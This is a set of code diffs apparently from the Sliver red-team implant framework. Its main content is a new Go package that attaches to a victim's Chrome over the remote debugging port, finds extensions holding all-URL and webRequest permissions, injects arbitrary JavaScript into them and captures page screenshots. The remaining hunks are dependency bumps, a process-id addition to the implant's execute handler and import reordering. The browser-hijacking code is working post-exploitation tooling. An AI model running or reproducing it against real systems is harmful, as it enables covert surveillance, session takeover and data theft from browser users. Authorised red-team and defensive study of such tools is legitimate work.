|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
package overlord
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
const (
|
||||
// AllURLs - All URLs permission
|
||||
AllURLs = "<all_urls>"
|
||||
|
||||
// AllHTTP - All HTTP permission
|
||||
AllHTTP = "http://*/*"
|
||||
|
||||
// AllHTTPS - All HTTP permission
|
||||
AllHTTPS = "https://*/*"
|
||||
|
||||
// WebRequest - WebRequest permission
|
||||
WebRequest = "webRequest"
|
||||
|
||||
// WebRequestBlocking - WebRequestBlocking permission
|
||||
WebRequestBlocking = "webRequestBlocking"
|
||||
|
||||
// FetchManifestJS - Get extension manifest
|
||||
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
type ManifestBackground struct {
|
||||
Scripts []string `json:"scripts"`
|
||||
Persistent bool `json:"persistent"`
|
||||
}
|
||||
|
||||
// Manifest - An extension manifest file
|
||||
type Manifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Description string `json:"description"`
|
||||
ManifestVersion int `json:"manifest_version"`
|
||||
Permissions []string `json:"permissions"`
|
||||
Background ManifestBackground `json:"background"`
|
||||
}
|
||||
|
||||
// ChromeDebugTarget - A single debug context object
|
||||
type ChromeDebugTarget struct {
|
||||
Description string `json:"description"`
|
||||
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Type string `json:"type"`
|
||||
URL string `json:"url"`
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
|
||||
var allocCtx context.Context
|
||||
|
||||
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
|
||||
opts := []func(*chromedp.ExecAllocator){
|
||||
chromedp.Flag("restore-last-session", true),
|
||||
chromedp.UserDataDir(userHomeDir),
|
||||
}
|
||||
switch platform {
|
||||
case "darwin":
|
||||
opts = append(opts,
|
||||
chromedp.Flag("headless", false),
|
||||
chromedp.Flag("use-mock-keychain", false),
|
||||
)
|
||||
default:
|
||||
opts = append(opts, chromedp.Headless)
|
||||
}
|
||||
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
|
||||
return opts
|
||||
}
|
||||
|
||||
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
|
||||
var (
|
||||
cancel context.CancelFunc
|
||||
)
|
||||
if webSocketURL != "" {
|
||||
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
|
||||
} else {
|
||||
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
|
||||
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
}
|
||||
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
|
||||
return taskCtx, taskCancel, cancel
|
||||
}
|
||||
|
||||
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
targets, err := chromedp.Targets(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contains(haystack []string, needle string) bool {
|
||||
set := make(map[string]struct{}, len(haystack))
|
||||
for _, entry := range haystack {
|
||||
set[entry] = struct{}{}
|
||||
}
|
||||
_, ok := set[needle]
|
||||
return ok
|
||||
}
|
||||
|
||||
func containsAll(haystack []string, needles []string) bool {
|
||||
all := true
|
||||
for _, needle := range needles {
|
||||
if !contains(haystack, needle) {
|
||||
all = false
|
||||
break
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ExecuteJS - injects a JavaScript code into a target
|
||||
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
|
||||
targetInfo := findTargetInfoByID(ctx, targetID)
|
||||
if targetInfo == nil {
|
||||
return nil, ErrTargetNotFound
|
||||
}
|
||||
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
var result []byte
|
||||
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
|
||||
return result, err
|
||||
}
|
||||
|
||||
// FindExtensionWithPermissions - Find an extension with a permission
|
||||
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
return &target, nil
|
||||
}
|
||||
}
|
||||
return nil, nil // No targets, no errors
|
||||
}
|
||||
|
||||
// FindExtensionsWithPermissions - Find an extension with a permission
|
||||
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensions := []*ChromeDebugTarget{}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
extensions = append(extensions, &target)
|
||||
}
|
||||
}
|
||||
return extensions, nil
|
||||
}
|
||||
|
||||
// QueryDebugTargets - Query debug listener using HTTP client
|
||||
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
return debugContexts, err
|
||||
}
|
||||
|
||||
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
|
||||
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionContexts := []ChromeDebugTarget{}
|
||||
for _, debugCtx := range debugContexts {
|
||||
ctxURL, err := url.Parse(debugCtx.URL)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ctxURL.Scheme == "chrome-extension" {
|
||||
extensionContexts = append(extensionContexts, debugCtx)
|
||||
}
|
||||
}
|
||||
return extensionContexts, nil
|
||||
}
|
||||
|
||||
// Screenshot - Take a screenshot of a Chrome context
|
||||
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
|
||||
var result []byte
|
||||
screenshotTask := chromedp.Tasks{
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result, err = page.CaptureScreenshot().
|
||||
WithQuality(quality).
|
||||
WithClip(&page.Viewport{
|
||||
X: contentSize.X,
|
||||
Y: contentSize.Y,
|
||||
Width: contentSize.Width,
|
||||
Height: contentSize.Height,
|
||||
Scale: 1,
|
||||
}).Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
targetInfo := findTargetInfoByID(taskCtx, targetID)
|
||||
if targetInfo == nil {
|
||||
return []byte{}, ErrTargetNotFound
|
||||
}
|
||||
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
if err := chromedp.Run(ctx, screenshotTask); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
go 1.18
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
@@ -10,8 +10,11 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
@@ -35,7 +38,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
@@ -61,6 +64,7 @@ require (
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -70,6 +74,9 @@ require (
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
@@ -85,9 +92,11 @@ require (
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
|
||||
@@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
@@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
|
||||
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
|
||||
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
@@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
|
||||
@@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
@@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN
|
||||
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
|
||||
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
@@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
|
||||
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
|
||||
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
|
||||
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||
@@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
|
||||
@@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -19,17 +19,18 @@ package tunnel_handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
